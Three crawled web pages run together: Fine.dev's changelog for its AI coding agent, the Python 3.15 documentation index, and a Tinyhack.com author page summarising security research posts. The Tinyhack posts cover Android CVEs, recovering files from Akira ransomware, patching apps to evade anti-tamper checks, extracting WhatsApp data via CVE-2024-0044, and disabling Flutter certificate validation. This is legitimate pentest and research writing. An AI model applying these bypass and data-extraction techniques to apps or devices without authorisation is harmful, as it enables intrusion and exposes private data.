Pro subscribers. Nov 13, 2024 #12: Faster Implementation Fine now provisions a virtual dev environment as soon as you start a conversation, instead waiting for you to give an implementation task - so it’s quicker for the AI to get started on coding. Look for the green 🟢 icon at the top right of the screen that indicates the dev environment is live. Nov 4, 2024 #11: Rollback, Edit & New Projects Edit the AI code in Fine When Fine has finished an implementation task, before creating the PR, you can edit the files in the code pane that appears on the right hand side. Remember to click Save, which will appear once you start making manual edits. This is great for minor fixes and adjustments, saving you the hassle of checking out the branch to your IDE when the AI has written almost exactly what you wanted. It’s also useful if you get tasks done on the go. Waiting for a bus or have a few minutes in between meetings? Take an outstanding issue, give it to Fine, make any small changes you need and click Create PR - all from your mobile browser. Rollback Changes in Fine If you’re having a back-and-forth conversation with the AI, giving instructions, reviewing the results and giving more instructions, sometimes it’s useful to be able to go back a couple of steps. Perhaps you’ve realised that something wasn’t quite necessary or the latest version of the changes wasn’t exactly what you were looking for. It happens to all of us. Now, when you give further implementation instructions to the Fine AI Agent, the option to rollback appears on the earlier messages. Clicking Rollback will undo all changes since the implementation task you’ve chosen to revert to - both those made by the AI and manual edits. Start New Projects within Fine You can now start a new project in Fine, without needing an existing repository in GitHub - or even connecting your account. To create a new project, head to Projects > Create Project and choose a name. If you’ve connected GitHub, this will create a new repository under the name you’ve chosen. Alternatively, just start typing your task in Fine’s web interface and if you haven’t chosen a Project to work on, Fine will create a new one. Oct 9, 2024 #10: Revise PRs in GitHub & a smoother way to delegate tasks. Smoother delegation of tasks We’ve improved and standardized the way you interact with Fine from your Issue Management platform, to make it easier to delegate tasks. In Linear and GitHub Issues , delegate an issue to Fine by adding the “Fine” label or replying /code and you’ll get a notification once Fine has finished and created a PR. If you’ve got a backlog of issues and requests, this is a great way to get ahead of lots of the small tasks that make a difference to your users. Alternatively, you can comment /guideme and Fine will reply with context and advice on how to approach the task. In particular for bigger tasks, this can help you break it down into steps and help you take on the project strategically. Lastly, you can comment /ask followed by your question, and Fine will read the comment, search the codebase and its knowledge for information, and provide an answer. No more disturbing the developer sitting opposite you with little questions that break their concentration. When calling Fine into a ticket, you no longer need to specify which repository you’d like it to work on - Fine understands on its own. All these features work both in GitHub Issues and in Linear . For all those who don’t use either, we’re surveying which platform you use for Issue Management to help us decide what to integrate next. Click here to vote, it takes just 30 seconds . Refined GitHub PR features In GitHub PR, we’ve improved the performance of the /revise and /summary features - they’re now faster and more accurate. When reviewing a PR, if you need to make a change, comment /revise followed by the change you’d like to make and Fine will do it for you. This saves you pulling the code to your machine to make the edits. Similarly, if you’ve been handed a PR to review, commenting /summary will give you a breakdown of the PR to help you get started. Knowledge and Code Panes We’ve added two new collapsable panes to the Fine web interface. Knowledge allows you to view the sources in your codebase from where Fine drew information and Code allows you to view the changes Fine suggests in implementation tasks. Sep 29, 2024 #9: OpenAI o1, New Agent Interface, Improving Speed Integrated o1 & improved model selection OpenAI announced their new model nearly two weeks ago, promising faster, better coding. We straight away made sure to integrate with Fine, along with the previous OpenAI models and Claude 3.5 Sonnet. The results are fantastic and as before - you don't need your own API keys. We've also improved the way you select which model to use, so that you can pick the right model for each task. New Agent Interface The previously separate “Ask” and “Implement” features are now smarter and work together from a unified interface. Fine can now distinguish whether you’re asking a question or assigning a task and responds with the appropriate workflow. There's no longer a need to use slash commands, just talk to the agent naturally. We’ve implemented a new backend algorithm that delivers responses more than 10 times faster without compromising quality. The UI has also been updated so you can see live changes to the codebase as the AI writes them. Launched Affiliates Program We launched our brand new affiliate program allowing super-fans and content creators with strong audiences of developers to earn money by promoting Fine. More details can be found here and you can sign up here . Improved Mobile Experience We’ve been tweaking and improving our mobile experience to ensure you can get tasks done with the help of AI on the go. Sep 10, 2024 #8: Ask, Slack Integration and Workflows Launched Workflows Workflows is how you can automate AI agents to perform tasks at a set frequency or following a trigger. Think automatic debugging, documentation, changelog, PR review and more. Launched Ask Easily ask Fine any question about your codebase - including your integrated platforms - from the home panel. Find valuable information and key context to make your work easier and more efficient. Integrated Slack You can now integrate Slack with Fine and get notifications with agent outputs as part of workflows. Apr 7, 2024 #7: Claude Support; Faster Responses Fine now supports Claude Opus LLM model. Pro users can configure their agents to use Claude as their backend LLM model. Although slower than the default model, GPT-4 Turbo, Claude Opus has shown to be more accurate. AI Chat has gone through a major speed optimization, now responding 2x faster than before. Mar 21, 2024 #6: Fine x GitHub | Chat streaming Assign GitHub Issues to Fine AI Agents You can now initiate Fine AI agents to work on GitHub issues directly from GitHub. Try it out by commenting on the issue with /code command. Fine will create a new branch, assign the issue to the AI agent, and create a pull request with the AI agent's changes. Imporvements Chat now supports streaming AI responses. Prompt bar now supports multiple lines and rich text formatting (markdown). Revamped the AI prompt bar design. A few bugs were fixed in the "Issue-to-Pull Request" feature. Mar 14, 2024 #5: Fine x Linear Turn Linear Issues into Pull Requests You can now assign Linear Issues directly to Fine AI agents. To get started, go to Workspace Settings > Integrations and enable the Linear integration. /code To delegate an issue to an AI agent, comment on the issue with /code --repo=owner/repo-name . Fine will create a new branch, assign the issue to the AI agent, and create a pull request with the AI agent's changes. /guideme Leave a comment with /guideme --reop=owner/repo-name to get a step-by-step guide on how to solve the issue. Mar 7, 2024 #4: AI Palette Ask around your code We redesigned AI experience from the ground up, and AI Palette now takes center stage. The AI Palette lets you chat about around your codebase, and initiate AI Agents to perform repository-wide tasks. Slash commands You can interact with AI Palette using slash commands. /ask: Lets you talk with an AI that understands your codebase. /code: Initiates an AI agent to perform a repository-wide task. Jan 21, 2024 Interactive Previews: Holistic Solution for Full Stack Devs When it comes to visual systems, feedback can also be given while looking at the same monitor, and not at the code. To mimic this live and dynamic interaction between human developers within the Fine system, we are proud to introduce ‘Interactive Preview'. Today, we are excited to announce the release of Fine’s latest version, carefully crafted with the needs of full stack developers at the forefront. The brand-new version gives users an intuitive environment for software development powered by AI agents. The undeniable highlight being the 'Interactive Preview' feature that fundamentally transforms code development by closing the loop and offering a real-time feedback mechanism for developers. Feedback is an essential element of software development. This is true for human developers as it is for our AI agents. The more detailed and timely feedback an AI agent can access, the better it becomes at understanding tasks, refining responses, and improving overall function. Often while working in a team, a developer states their opinion about the piece of code or design another team member created. When it comes to visual systems, feedback can also be given while looking at the same monitor, and not at the code. To mimic this live and dynamic interaction between human developers within the Fine system, we are proud to introduce ‘Interactive Preview'. Interactive Preview puts our users in direct control, just like a movie director guiding their actors. Developers can run their code, see the results in real time, and provide feedback directly to the AI agents. It gives developers the option to guide their AI agents as they would guide a team member, helping them understand what works, what doesn’t, and where there's room for improvement. Essentially, forming a closed cycle of task assignment, execution, feedback, and improvement. Just as real-life feedback sessions bring about clarity, refinement, and consistent improvement, Interactive Preview ensures our AI agents continue advancing in their capabilities. It's a quintessential feature that makes Fine more than a tool - it's a dynamic, adaptive, and collaborative solution, fulfilling the vision of a truly integrated human-AI software development environment. Tailored For Full Stack Developers At Fine we are constantly thinking about the end goal: building the virtual developer. Our ‘Interactive Preview' is a testament to our commitment to continuous innovation and giving our users the best possible experience. By offering developers the ability to run their codes and provide live feedback to their AI agents, we're facilitating a more sophisticated, seamless, and interactive programming environment. Full stack developers, who handle both front-end and back-end processes, require a solution that makes the entire software engineering process more efficient. Now, the AI agents don’t just understand the development context from the provided codebase and documentation, but also take into account the live feedback, becoming even smarter and more efficient. Think of it as an always available, always eager-to-learn colleague. No matter how many times you run your code, or how many comments you share, the AI agents learn from your feedback, adapting and evolving to better serve you. The more you interact, the more they understand your unique style, your project's specific needs, and the more accurate their solutions become. Oct 5, 2023 Introducing new features, new interface, bug fixes and backend upgrades, along with recent content and upcoming events. Today we are releasing a new version of Fine. In this update we solved many of the issues that users faced in the previous days. If you had trouble setting up a project or running an agent recently, this version might have solved it, so give it a go. We’ve got a new batch of product updates, playbooks, and upcoming events for ya. Here's the latest: 🚀 What's New in Fine Agents take central stage : We removed the tabs interface and moved the specifications to a panel on the right side of the screen. The main interface will now be dedicated to working with the AI agents: planning, executing, and revising. Manually stage files for the Agent’s editing : In our latest product update, we introduced mentioning via '@'. This week we introduce manually staging files for the agent to edit. More control, better precision. Improvements to our DB infrastructure allows importing larger projects : If you previously tried to import a large project there's a good chance the import failed. We now support larger projects, so feel free to try again. Added GPT-4-32k to our backend : With less limitations on context and rate, the product now works faster, and the quality of suggested tasks and generated code increased. UX Improvement : We improved the “revision” UX (the pencil button), and added file icons to indicate the file type. Notebooks can now be deleted : Following multiple requests from the community - Projects and Notebooks can now be deleted. Click the Kebab Menu at the top right to reveal the option. Multiple Workspaces bugs fixed : Member invitation status now updates, invites are being sent correctly, and the confirmation toast closes correctly. Graceful error handling : Fine now handles failed tasks with retry mechanisms, and better logging. <- Previous Page Next Page -> Never miss an update Take control of your business Find out about our latest product changes as we continue improving Stellar to enable your team to collaborate better. Subscribe -> © Fine.dev - All rights reserved. Product Overview AI Workflows Pricing & Plans Changelog Blog Docs Company Press Terms & Conditions Privacy policy | 2026-01-13T08:48:55 |
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https://docs.python.org/3.15/ | 3.15.0a3 Documentation Theme Auto Light Dark Download Download these documents Docs by version Python 3.15 (in development) Python 3.14 (stable) Python 3.13 (stable) Python 3.12 (security-fixes) Python 3.11 (security-fixes) Python 3.10 (security-fixes) Python 3.9 (EOL) Python 3.8 (EOL) Python 3.7 (EOL) Python 3.6 (EOL) Python 3.5 (EOL) Python 3.4 (EOL) Python 3.3 (EOL) Python 3.2 (EOL) Python 3.1 (EOL) Python 3.0 (EOL) Python 2.7 (EOL) Python 2.6 (EOL) All versions Other resources PEP Index Beginner's Guide Book List Audio/Visual Talks Python Developer’s Guide Navigation index modules | Python » 3.15.0a3 Documentation » | Theme Auto Light Dark | Python 3.15.0a3 documentation Welcome! This is the official documentation for Python 3.15.0a3. Documentation sections: What's new in Python 3.15? Or all "What's new" documents since Python 2.0 Tutorial Start here: a tour of Python's syntax and features Library reference Standard library and builtins Language reference Syntax and language elements Python setup and usage How to install, configure, and use Python Python HOWTOs In-depth topic manuals Installing Python modules Third-party modules and PyPI.org Distributing Python modules Publishing modules for use by other people Extending and embedding For C/C++ programmers Python's C API C API reference FAQs Frequently asked questions (with answers!) Deprecations Deprecated functionality Indices, glossary, and search: Global module index All modules and libraries General index All functions, classes, and terms Glossary Terms explained Search page Search this documentation Complete table of contents Lists all sections and subsections Project information: Reporting issues Contributing to docs Download the documentation History and license of Python Copyright About the documentation Download Download these documents Docs by version Python 3.15 (in development) Python 3.14 (stable) Python 3.13 (stable) Python 3.12 (security-fixes) Python 3.11 (security-fixes) Python 3.10 (security-fixes) Python 3.9 (EOL) Python 3.8 (EOL) Python 3.7 (EOL) Python 3.6 (EOL) Python 3.5 (EOL) Python 3.4 (EOL) Python 3.3 (EOL) Python 3.2 (EOL) Python 3.1 (EOL) Python 3.0 (EOL) Python 2.7 (EOL) Python 2.6 (EOL) All versions Other resources PEP Index Beginner's Guide Book List Audio/Visual Talks Python Developer’s Guide « Navigation index modules | Python » 3.15.0a3 Documentation » | Theme Auto Light Dark | © Copyright 2001 Python Software Foundation. This page is licensed under the Python Software Foundation License Version 2. Examples, recipes, and other code in the documentation are additionally licensed under the Zero Clause BSD License. See History and License for more information. The Python Software Foundation is a non-profit corporation. Please donate. Last updated on Jan 13, 2026 (06:57 UTC). Found a bug ? Created using Sphinx 8.2.3. | 2026-01-13T08:48:55 |
https://tinyhack.com/author/admin/ | admin – Tinyhack.com --> Skip to content Tinyhack.com A hacker does for love what others would not do for money. Author: admin CVE-2025-31931 Arbitrary Shared Library Loading in Intel ITT API on Android (affects OpenCV <= 4.10) Intel® Instrumentation and Tracing Technology (ITT) is a profiling API that developers use to analyze performance. The ITT library is available for many platforms. It used by many Android applications, either directly, or indirectly (e.g: via precompiled OpenCV library for Android officially downloaded from OpenCV website). Intel advisory is here: https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-01337.html A bug was found that allows ITT to load arbitrary shared library. This shared library can do anything (executing arbitrary code, exfiltrating data, etc). Fortunately the exploitation is not that easy (requires adb access either via PC or Shizuku app, so remote exploitation should not be possible). POC is available on my github, but read on to understand this bug. OpenCV copies all ITT API files verbatim to their 3rdparty/ittnotify directory. ITT is always built for Android platform (can’t be disabled via CMake config): OCV_OPTION(BUILD_ITT "Build Intel ITT from source" (NOT MINGW OR OPENCV_FORCE_3RDPARTY_BUILD) IF (X86_64 OR X86 OR ARM OR AARCH64 OR PPC64 OR PPC64LE) AND NOT WINRT AND NOT APPLE_FRAMEWORK ) Any Android application using OpenCV up until 4.10 is affected, 4.11 and later are safe. There is no warning about this CVE in OpenCV because they were released before this CVE was published and they have accidentally fixed the bug (see this ) because someone wants to support OpenBSD (“ 3rdparty/ittnotify had not been updated until 9 years. To support OpenBSD, I suggest to update to latest release version v3.25.4 “) Continue reading “CVE-2025-31931 Arbitrary Shared Library Loading in Intel ITT API on Android (affects OpenCV <= 4.10)” Author admin Posted on November 9, 2025 November 11, 2025 Categories android , mobile , reverse-engineering , security , writeup Tags include Leave a comment on CVE-2025-31931 Arbitrary Shared Library Loading in Intel ITT API on Android (affects OpenCV <= 4.10) Decrypting Encrypted files from Akira Ransomware (Linux/ESXI variant 2024) using a bunch of GPUs I recently helped a company recover their data from the Akira ransomware without paying the ransom. I’m sharing how I did it, along with the full source code. Update: since this article was written, a new version of Akira ransomware has appeared that can’t be decrypted with this method The code is here: https://github.com/yohanes/akira-bruteforce To clarify, multiple ransomware variants have been named Akira over the years, and several versions are currently circulating. The variant I encountered has been active from late 2023 to the present (the company was breached this year). There was an earlier version (before mid-2023) that contained a bug, allowing Avast to create a decryptor. However, once this was published, the attackers updated their encryption. I expect they will change their encryption again after I publish this. https://decoded.avast.io/threatresearch/decrypted-akira-ransomware You can find various Akira malware sample hashes at the following URL: https://github.com/rivitna/Malware/blob/main/Akira/Akira_samples.txt The sample that matches my client’s case is: bcae978c17bcddc0bf6419ae978e3471197801c36f73cff2fc88cecbe3d88d1a It is listed under the version: Linux V3 . The sample can be found on virus.exchange (just paste the hash to search). Note that the ransom message and the private/public keys will differ. We do this not because it is easy, but because we thought it would be easy I usually decline requests to assist with ransomware cases. However, when my friend showed me this particular case, a quick check made me think it was solvable. Continue reading “Decrypting Encrypted files from Akira Ransomware (Linux/ESXI variant 2024) using a bunch of GPUs” Author admin Posted on March 13, 2025 November 7, 2025 Categories hacks , reverse-engineering , security Tags define , Final 76 Comments on Decrypting Encrypted files from Akira Ransomware (Linux/ESXI variant 2024) using a bunch of GPUs Patching .so files of an installed Android App If we installed an Android APK and we have a root access, we can modify the .so (native) filesof that app without altering the signature. This is true even if extractNativeLibs is set to false in AndroidManifest.xml . We can also patch the AOT compiled file (ODEX/VDEX) without changing the package signature, but that’s another story, I am just going to focus on the native code. native libraries are stored uncompressed and page aligned As a note: this is not a vulnerability, it requires root access. This method was discussed in the Mystique exploit presentation (2022). I just want to show that this is useful for pentest purpose, with an extra tip of how to write binary patch in C. Background I was doing a pentest on an Android app with a complex RASP. There are many challenges: If I unpack the APK file and repack it, it can detect the signature change If I use Frida, it can detect Frida in memory, even when I change the name using fridare It can detect Zygisk, so all injection methods that use Zygisk are detected It can detect hooks on any function, not just PLT. It seems that it is done by scanning the prologue of functions to see if it jumps to a location outside the binary; the app developer needs to call this check manually (this is quite an expensive operation), which is usually done before it performs some critical scenario. The RASP uses a native library, which is obfuscated Given enough time, I am sure it is possible to trace and patch everything, but we are time-limited, and I was only asked to check a specific functionality. When looking at that particular functionality, I can see that it is implemented natively in a non-obfuscated library. In this specific case, If I can patch the native code without altering the signature, I don’t need to deal with all the anti-frida, anti-hook, etc. Continue reading “Patching .so files of an installed Android App” Author admin Posted on November 18, 2024 February 12, 2025 Categories android , mobile , reverse-engineering Tags include 2 Comments on Patching .so files of an installed Android App Extracting WhatsApp Database (or any app data) from Android 12/13 using CVE-2024-0044 I want to make a WhatsApp message backup from a non-rooted Android 12 Phone. A few years ago, I used Whatsapp-Chat-Exporter to convert the backup to HTML, but first, I had to extract the database from the phone. The method pointed out by Whatsapp-Chat-Exporter to extract from non-root has remained the same for many years: downgrade to an old version of WhatsApp that allows backup, then create an Android backup that contains the WhatsApp database. This doesn’t work for WhatsApp for Business because there was no version that allowed backup. Depending on your use case, you might be able to move WhatsApp to a new device that can be rooted and then extract the files there (very easy when you have root access). When looking at the new Zygote Bug by Meta Red Team X (CVE-2024-31317), I thought it could be used to perform backup extraction, but then I saw the previous entry on that blog (CVE-2024-0044), which is much easier to use (but only works in Android 12 and 13 that has not received Marh 2024 security update). CVE-2023-0044 This exploit can work for any non-system app, not just for extracting data from WhatsApp/WhatsApp business. For an expert, the explanation for the exploit is very obvious. I am writing here for end users or beginners who need a step-by-step guide to extracting their WA database. Continue reading “Extracting WhatsApp Database (or any app data) from Android 12/13 using CVE-2024-0044” Author admin Posted on June 7, 2024 June 7, 2024 Categories android , mobile , security 9 Comments on Extracting WhatsApp Database (or any app data) from Android 12/13 using CVE-2024-0044 Zygisk-based reFlutter I developed a Zygisk module for rooted Android phones with Magisk (and Zygisk enabled). This module allows you to “reFlutter” your Flutter App at runtime, simplifying the testing and reverse engineering processes. If you don’t want to read the detail, the release is available at: https://github.com/yohanes/zygisk-reflutter Continue reading “Zygisk-based reFlutter” Author admin Posted on April 9, 2024 April 9, 2024 Categories android , mobile , reverse-engineering 1 Comment on Zygisk-based reFlutter Using U-Boot to extract Boot Image from Pritom P7 This is a guide to extract the boot image from a cheap Android tablet based on Allwinner A133 using U-Boot (accessed via UART). The original firmware was not found on the internet. With the boot image and Magisk, you can root your Android tablet to make it more useful. Pritom P7 is a very cheap Android tablet. I bought it for 33 USD from AliExpress, but it can be found for as low as 27 USD. This is a Google GMS-certified device (it passes Play Integrity, no malware was found when I received it), and it uses 32-bit Android Go. I am only using this to test some 32-bit Android app compatibility. I bought it for 32.75 USD They may have several variants of this model with different specifications. Mine is: Alwinner A133, 1.5GB RAM (advertised as 2GB, and shown as 2GB in the Android info), 32 GB ROM, only 2.4 GHz WIFI, no GPS. Unlockable Bootloader Luckily, we are allowed to unlock the bootloader of this device using the developer menu, adb reboot bootloader then using fastboot oem unlock . Some cheap Android devices don’t allow unlocking (for example, the ones that are based on recent Unisoc SOC). I can allow bootloader unlock using the OEM Unlocking option The product ID of my tablet is P7_EEA (Android 11) with kernel version Linux localhost 5.4.180-svn33409-ab20220924-092422 #28 SMP PREEMPT Sun Aug 20 19:13:45 CST 2023 armv8l . The build number is PRITOM_P7_EEA_20230820 . I did not find any Android exploit for this device, and I also didn’t find any backdoors. From my experience, some of these cheap Android devices have hidden su backdoors. Unable to find an exploit, I gave up trying to extract boot image from user space. With some SOC, you can easily read/dump/extract the flash using PC software. I didn’t find any software for this Allwinner chip. An example of a SOC that allows flash reading is Unisoc (formerly Spreadtrum), but on the other hand, the bootloader on phones and tablets with the latest SOCs from Unisoc (that I know of) is not unlockable. UART Fortunately, this device is easy to open, and a UART pin is on the top left near the camera. UART + FEL pad on top, near the camera Continue reading “Using U-Boot to extract Boot Image from Pritom P7” Author admin Posted on January 18, 2024 January 19, 2024 Categories android , hacks , hardware , mobile , phone Tags 28 26 Comments on Using U-Boot to extract Boot Image from Pritom P7 Reverse Engineering RG35XX Stock Firmware A friend gave me an Anbernic RG35XX to hack. This is a retro gaming device (it just means that it is designed to emulate old consoles). It comes with two OS: Stock OS and Garlic OS. Stock OS is closed source, and Garlic OS is open source, except for the kernel part (all are closed source). You can switch from one OS to another via a menu. Stock OS starting my custom binary. In my opinion, the stock OS is fast and quite user-friendly but is not customizable, although many people like Garlic OS more because it can emulate more systems. Kernel part Anbernic won’t release the source for ATM7039S, and no datasheet is found for this SOC. The stock RG35XX OS uses a slightly different kernel compared to the Garlic OS. Someone was able to compile the kernel from an old S500 device and have the GPU to work . Koriki for RG35XX was based on this kernel, but from the information in Discord, the latest Koriki release uses a stock kernel. There is no serial port accessible and no debug interface available, so trying to hack the kernel will be a painful experience. Stock RG35XX boot sequence The kernel is stored as a uImage file on the first partition (FAT32). The built-in bootloader (u-boot) will boot load this file, and it will mount ramdisk.img . Inside ramdisk.img , we can find: /init , /init.rc , loadapp.sh . The kernel will start /init , which is based on Android init (it uses bionic libc). /init will load /init.rc , and on the last lines, it contains instructions to start loadapp.sh service loadapp /system/bin/logwrapper /loadapp.sh class core loadapp.sh will load /system/dmenu/dmenu_ln . The dmenu_ln can be found on the second partition (ext4), and this is just a shell script that will start /mnt/vendor/bin/dmenu.bin that can also be found on the second partition. dmenu.bin is the main shell for the OS. This is written in C using SDL1.2, but it uses custom input handling instead of using SDL_WaitEvent . Custom Input Handling Some people swear that the input handling in the Stock RG35XX OS is faster than the other alternative OS. I can’t feel it, but the Stock OS does process input events manually. To reverse engineer how it works, I use Ghidra. Since this is not security-related software, there is no protection or obfuscation so the code can be decompiled quite cleanly. Reverse engineering It starts by opening /dev/input/ to find a device that has a name: gpio-keys-polled (this name is obtained using ioctl call with request EVIOCGNAME ). Then, it will start a thread (using pthread) to poll this device. The power button is a separate device from all other buttons, and the reset button (under the power button) is hardwired to reset the console. Emulator modification Inside appres/bin/game on the second partition, we can see several binaries for each emulator. All of them have been modified by Anbernic: They use custom error handling The menu button is set to display the menu (so all emulators have the same interface) Added Video filter effect (such as dot-matrix) implemented in C (not using GPU) Compiling for RG35XX stock OS Usually, we will need an SDK to compile an app, but since we know the target architecture, calling convention, and the libraries used, we can work around this problem. To compile a simple SDL app that will run on the Stock OS, we will need a compiler, header files, and some libraries. For the compiler, download Linaro toolchain 4.7 (closest to existing binaries on the system) from here (choose gnueabihf): https://releases.linaro.org/archive/12.11/components/toolchain/binaries/ For the headers, download the latest SDL1.2 and use the default SDL config. And for the libraries, we can use files from /lib on the second partition. Remove libc.so and libm.so , these two are bionic files and will cause errors. Then, add files from usr/local/lib/arm-linux-gnueabihf (also from the second partition). Then, you should be able just to compile everything manually. Outputs to stdout/stderr will not be visible, so use dup2 to redirect these to files. Small Demo App In this repository, you can see my small demo app. I included all the libraries to make it easy for anyone to start (please change CC path in Makefile to your installation directory). https://github.com/yohanes/rg35xx-stock-sdl-demo This is a very simple app to replace dmenu.bin (please rename the original dmenu.bin to orig.bin ), it only provides three functions: Testing key events Starting ADB (useful for transferring files and debugging), I Included my own ADB_ON.sh which needs to be copied to the same location as dmenu.bin Starting the original launcher (now named orig.bin ) I am not planning to develop this. Maybe someone can make a better launcher based on this. Author admin Posted on December 31, 2023 December 31, 2023 Categories hardware , reverse-engineering Leave a comment on Reverse Engineering RG35XX Stock Firmware When you deleted /lib on Linux while still connected via ssh Let’s first not talk about why this can happen, but deleting /lib , /usr/lib , or some other essential runtime files happens quite a lot (as you can see: here , here , here , and here ). In this post, I will only discuss what happens when you delete /lib on Linux and how to recover from that. The easy solution for everything is to replace the missing files, but this can be difficult if /lib is deleted because we won’t have ld-linux , which is needed to run any dynamic executable. When you deleted /lib , all non-static executable (such as ls , cat , etc , will output): No such file or directory You will also be unable to open any new connection using ssh, or open a new tmux window/pane if you are using tmux. So you can only rely on your current shell built in, and some static executables that you have on the system. If you have a static busybox installed, then it can be your rescue. You can use wget from busybox to download libraries from a clean system. For your information: Debian has busybox installed by default, but the default is not the static version. Minimal Debian install If you are worried that this kind of problem might happen to you in the future: Install the static version of the busybox binary, and confirm that it is the correct version. Installing static busybox Continue reading “When you deleted /lib on Linux while still connected via ssh” Author admin Posted on September 16, 2022 September 16, 2022 Categories debian , hacks , linux 1 Comment on When you deleted /lib on Linux while still connected via ssh Reverse Engineering a Flutter app by recompiling Flutter Engine It is not easy to reverse engineer a release version of a flutter app because the tooling is not available and the flutter engine itself changes rapidly. As of now, if you are lucky, you can dump the classes and method names of a flutter app using darter or Doldrums if the app was built with a specific version of Flutter SDK. If you are extremely lucky, which is what happened to me the first time I needed to test a Flutter App: you don’t even need to reverse engineer the app. If the app is very simple and uses a simple HTTPS connection, you can test all the functionalities using intercepting proxies such as Burp or Zed Attack Proxy. The app that I just tested uses an extra layer of encryption on top of HTTPS, and that’s the reason that I need to do actual reverse engineering. In this post, I will only give examples for the Android platform, but everything written here is generic and applicable to other platforms. The TLDR is: instead of updating or creating a snapshot parser, we just recompile the flutter engine and replace it in the app that we targeted. Flutter compiled app Currently several articles and repositories that I found regarding Flutter reverse engineering are: Reverse engineering Flutter for Android (explains the basic of snapshot format, introduces, Doldrums, as of this writing only supports snapshot version 8ee4ef7a67df9845fba331734198a953) Reverse engineering Flutter apps (Part 1) a very good article explaining Dart internals, unfortunately, no code is provided and part 2 is not yet available as of this writing darter: Dart snapshot parser a tool to dump snapshot version c8562f0ee0ebc38ba217c7955956d1cb The main code consists of two libraries libflutter.so (the flutter engine) and libapp.so (your code). You may wonder: what actually happens if you try to open a libapp.so (Dart code that is AOT compiled) using a standard disassembler. It’s just native code, right? If you use IDA, initially, you will only see this bunch of bytes. If you use other tools, such as binary ninja which will try to do some linear sweep, you can see a lot of methods. All of them are unnamed, and there are no string references that you can find. There is also no reference to external functions (either libc or other libraries), and there is no syscall that directly calls the kernel (like Go).. With a tool like Darter dan Doldrums, you can dump the class names and method names, and you can find the address of where the function is implemented. Here is an example of a dump using Doldrums. This helps tremendously in reversing the app. You can also use Frida to hook at these addresses to dump memory or method parameters. The snapshot format problem The reason that a specific tool can only dump a specific version of the snapshot is: the snapshot format is not stable, and it is designed to be run by a specific version of the runtime. Unlike some other formats where you can skip unknown or unsupported format, the snapshot format is very unforgiving. If you can’t parse a part, you can parse the next part. Basically, the snapshot format is something like this: <tag> <data bytes> <tag> <data bytes> … There is no explicit length given for each chunk, and there is no particular format for the header of the tag (so you can’t just do a pattern match and expect to know the start of a chunk). Everything is just numbers. There is no documentation of this snapshot, except for the source code itself. In fact, there is not even a version number of this format. The format is identified by a snapshot version string. The version string is generated from hashing the source code of snapshot-related files . It is assumed that if the files are changed, then the format is changed. This is true in most cases, but not always (e.g: if you edit a comment, the snapshot version string will change). My first thought was just to modify Doldrums or Darter to the version that I needed by looking at the diff of Dart sources code. But it turns out that it is not easy: enums are sometimes inserted in the middle (meaning that I need to shift all constants by a number). And dart also uses extensive bit manipulation using C++ template. For example, when I look at Doldums code, I saw something like this: def decodeTypeBits(value): return value & 0x7f I thought I can quickly check this constant in the code (whether it has changed or not in the new version), the type turns out to be not a simple integer. class ObjectPool : public Object { using TypeBits = compiler::ObjectPoolBuilderEntry::TypeBits; } struct ObjectPoolBuilderEntry { using TypeBits = BitField<uint8_t, EntryType, 0, 7>; } You can see that this Bitfield is implemented as BitField template class . This particular bit is easy to read, but if you see kNextBit , you need to look back at all previous bit definitions. I know it’s not that hard to follow for seasoned C++ developers, but still: to track these changes between versions, you need to do a lot of manual checks. My conclusion was: I don’t want to maintain the Python code, the next time the app is updated for retesting, they could have used a newer version of Flutter SDK, with another snapshot version. And for the specific work that I am doing: I need to test two apps with two different Flutter versions: one for something that is already released in the app store and some other app that is going to be released. Rebuilding Flutter Engine The flutter engine ( libflutter.so ) is a separate library from libapp.so (the main app logic code), on iOS, this is a separate framework. The idea is very simple: Download the engine version that we want Modify it to print Class names, Methods, etc instead of writing our own snapshot parser Replace the original libflutter.so library with our patched version Profit The first step is already difficult: how can we find the corresponding snapshot version? This table from darter helps, but is not updated with the latest version. For other versions, we need to hunt and test if it has matching snapshot numbers. The instruction for recompiling the Flutter engine is here , but there are some hiccups in the compilation and we need to modify the python script for the snapshot version. And also: the Dart internal itself is not that easy to work with. Most older versions that I tested can’t be compiled correctly. You need to edit the DEPS file to get it to compile. In my case: the diff is small but I need to scour the web to find this. Somehow the specific commit was not available and I need to use a different version. Note: don’t apply this patch blindly, basically check these two things: If a commit is not available, find nearest one from the release date If something refers to a _internal you probably should remove the _internal part. diff --git a/DEPS b/DEPS index e173af55a..54ee961ec 100644 --- a/DEPS +++ b/DEPS @@ -196,7 +196,7 @@ deps = { Var('dart_git') + '/dartdoc.git@b039e21a7226b61ca2de7bd6c7a07fc77d4f64a9', 'src/third_party/dart/third_party/pkg/ffi': - Var('dart_git') + '/ffi.git@454ab0f9ea6bd06942a983238d8a6818b1357edb', + Var('dart_git') + '/ffi.git@5a3b3f64b30c3eaf293a06ddd967f86fd60cb0f6', 'src/third_party/dart/third_party/pkg/fixnum': Var('dart_git') + '/fixnum.git@16d3890c6dc82ca629659da1934e412292508bba', @@ -468,7 +468,7 @@ deps = { 'src/third_party/android_tools/sdk/licenses': { 'packages': [ { - 'package': 'flutter_internal/android/sdk/licenses', + 'package': 'flutter/android/sdk/licenses', 'version': 'latest', } ], Now we can start editing the snapshot files to learn about how it works. But as mentioned early: if we modify the snapshot file: the snapshot hash will change, so we need to fix that by returning a static version number in third_party/dart/tools/make_version.py . If you touch any of these files in VM_SNAPSHOT_FILES , change the line snapshot_hash = MakeSnapshotHashString() with a static string to your specific version. What happens if we don’t patch the version? the app won’t start. So after patching (just start by printing a hello world) using OS::PrintErr("Hello World") and recompiling the code, we can test to replace the .so file, and run it. I made a lot of experiments (such as trying to FORCE_INCLUDE_DISASSEMBLER ), so I don’t have a clean modification to share but I can provide some hints of things to modify: in runtime/vm/clustered_snapshot.cc we can modify Deserializer::ReadProgramSnapshot(ObjectStore* object_store) to print the class table isolate->class_table()->Print() in runtime/vm/class_table.cc we can modify void ClassTable::Print() to print more informations For example, to print function names: const Array& funcs = Array::Handle(cls.functions()); for (intptr_t j = 0; j < funcs.Length(); j++) { Function& func = Function::Handle(); func = cls.FunctionFromIndex(j); OS::PrintErr("Function: %s", func.ToCString()); } Sidenote: SSL certificates Another problem with Flutter app is: it won’t trust a user installed root cert . This a problem for pentesting, and someone made a note on how to patch the binary (either directly or using Frida) to workaround this problem. Quoting TLDR of this blog post : Flutter uses Dart, which doesn’t use the system CA store Dart uses a list of CA’s that’s compiled into the application Dart is not proxy aware on Android, so use ProxyDroid with iptables Hook the session_verify_cert_chain function in x509.cc to disable chain validation By 